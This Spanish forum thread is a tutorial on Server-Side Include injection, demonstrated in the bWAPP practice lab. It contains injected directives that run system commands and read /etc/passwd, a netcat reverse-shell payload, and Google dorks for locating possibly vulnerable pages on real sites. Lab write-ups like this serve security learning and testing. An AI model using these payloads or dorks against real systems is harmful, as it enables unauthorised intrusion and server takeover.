Explotando SSI Injection desde 0

Iniciado por HATI, Noviembre 25, 2017, 03:40:56 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 25, 2017, 03:40:56 PM Ultima modificación: Noviembre 26, 2017, 04:43:13 AM por HATI


Introducción
-------------------------------------------------------

Estos días he estado testeando una aplicación web de un cliente y me he encontrado con una vulnerabilidad que desconocía (seguro que para muchos será conocida). Se trata de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, y para saber bien de que se trata, primero hay que conocer que es una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Cita de: Traducción - OWASP SSILas SSI son directivas presentes en las aplicaciones Web utilizadas para alimentar una página HTML con contenido dinámico. Son similares a los CGIs, excepto que los SSIs se utilizan para ejecutar algunas acciones antes de que se cargue la página actual o mientras se visualiza la página. Para ello, el servidor web analiza SSI antes de suministrar la página al usuario.

Las implementaciones comunes de SSI proporcionan comandos para incluir archivos externos, para establecer e imprimir variables de entorno CGI del servidor web, y para ejecutar scripts CGI externos o comandos de sistema.

Vamos a profundizar un poco y ver que se puede hacer con una directiva SSI, para comprender porqué es muy peligroso realizar una mala configuración de estas:



  • La sintáxis es la siguiente:
    Código: asp
    <!--#function attribute=value attribute=value ... -->




  • Se pueden usar variables de entorno, por ejemplo, para obtener la hora:
    Código: asp
    <!--#echo var="DATE_LOCAL" --> 




  • También se pueden incluir ficheros:
    Código: asp
    <!--#include virtual="/footer.html" --> 




  • O incluso, y peligroso, ejecutar comandos:
    Código: asp
    <pre>
    <!--#exec cmd="dir" -->
    </pre>



  • Es posible declarar variables y usar expresiones condicionales:
    Código: asp
    <!--#set var="modified" value="$LAST_MODIFIED" -->


    Good <!--#if expr="%{TIME_HOUR} <12" -->
    morning!
    <!--#else -->
    afternoon!
    <!--#endif -->



    Los servidores más conocidos que soportan este tipo de directivas son Apache, Nginx, ISS, Lighthttpd y LiteSpeed, y generalmente se encuentran en archivos con extensión ".shtml", ".stm" o ".shtm", aunque no siempre es así.

    Por lo tanto, la vulnerabilidad es básicamente una inyección de código que explota directivas SSI, y que, dependiendo de la configuración del servidor, puede conllevar, entre otros casos, a la ejecución de código arbitrario en el server, inclusión de archivos, ejecución de código javascript...

    Fuetntes y más información:

    - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


    Una vez explicado esto, podemos ir a la acción  8)



    PoC
    ---------------------------------

    Para buscar aplicaciones vulnerables, podemos usar dorks, os dejo algunos de ejemplo, aunque se pueden crear más elaborados:


      - inurl:bin/Cklb/
      - inurl:login.shtml
      - inurl:login.shtm
      - inurl:login.stm
      - inurl:search.shtml
      - inurl:search.shtm
      - inurl:search.stm
      - inurl:forgot.shtml
      - inurl:forgot.shtm
      - inurl:forgot.stm
      - inurl:register.shtml
      - inurl:register.shtm
      - inurl:register.stm
      - inurl:login.shtml?page=

    Por suerte, el entorno de pruebas No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos permite testear este tipo de ataques sin hacer daño a nadie.  ;D

    Para montar el lab, solo es necesario subir el contenido de bWAPP a un servidor con PHP y base de datos, podeís usar No tienes permitido ver los links. Registrarse o Entrar a mi cuentao similar para hacer esto. Os dejo una guía por si alguien quiere detalles de la instalación:


    Una vez tengamos todo el lab montado, hay que configurar un proxy para interceptar las peticiones, yo usaré No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Seleccionamos la opción correspondiente a SSI Injection y ya tenemos todo listo para comenzar.



    En el supuesto de un escenario real, lo primero que debemos hacer para testear la vulnerabilidad sería validar los parámetros de entrada. Haciendo una petición con los caracteres que debe filtrar una directiva SSI lo comprobamos.

    Caracteres: < ! # = / . " - > and [a-zA-Z0-9]

    Petición

    Respuesta


    Se puede ver claramente que noha filtrado nada, ya que nos devuelve los valores introducidos.

    A continuación, probemos con una variable de entorno para ver el resultado:

    Variable de entorno: <!--#echo var="DATE_LOCAL" -->

    Petición

    Respuesta

    La variable introducida contiene el valor de la fecha del sistema del servidor, lo que significa que podemos interactuar con él. Vamos a comprobar si tenemos acceso a datos sensibles cómo pueden ser los directorios /etc/passwd o /etc/shadow.

    Directivas enviadas:

    • <!--#exec cmd="whoami"-->
    • <!--#exec cmd="cat /etc/passwd"-->

    Respuesta

    Por último, veamos cómo obtener una shell para tener total control del servidor. Para ello, tenemos que abrir una conexión con netcat, para luego enviar una directiva que indique al server la conexión.


    Comando netcat:

    [/list]
    Código: bash
    nc -nlvp -p 1337


    Directiva: <!--#exec cmd="nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 1337 -e /bin/bash"-->

    Shell:


    Espero que os haya gustado. Un saludo, HATI


    Jugar o perder

    Fantastico, no conocia esa vulnerabilidad, lo que no entiendo es porque tapas en la peticion del burpsuite la parte del Host, si lo estas haciendo en Local y sale la Ip de la maquina virtual en el parametro "Referer"


    Noviembre 25, 2017, 09:34:28 PM #3 Ultima modificación: Noviembre 26, 2017, 04:43:53 AM por HATI
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    No estaba en mi lan.

    ¿Como que no esta en tu LAN? Si el ataque lo estas haciendo en la maquina bwapp (tiene buena pinta la verdad)

    =P

    Se me escapó esa  ;D
    No estaba en mi lan, solo digo eso jaja


    Jugar o perder

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    Se me escapó esa  ;D
    No estaba en mi lan, solo digo eso jaja

    Vaya Vaya que me quita la foto y todo :(

    No se porque la verdad si todas las fotos que tienes puestas del Burpsuite son del BWAPP, es que no entiendo porque lo tapas tio jajaja osea quizas con tu cliente se lo hayas hecho pero lo que estas posteando son pruebas de la plataforma bwapp men :S :S

    No es la máquina bWAPP, es solo la plataforma web. Ya te conteste por mp.


    Jugar o perder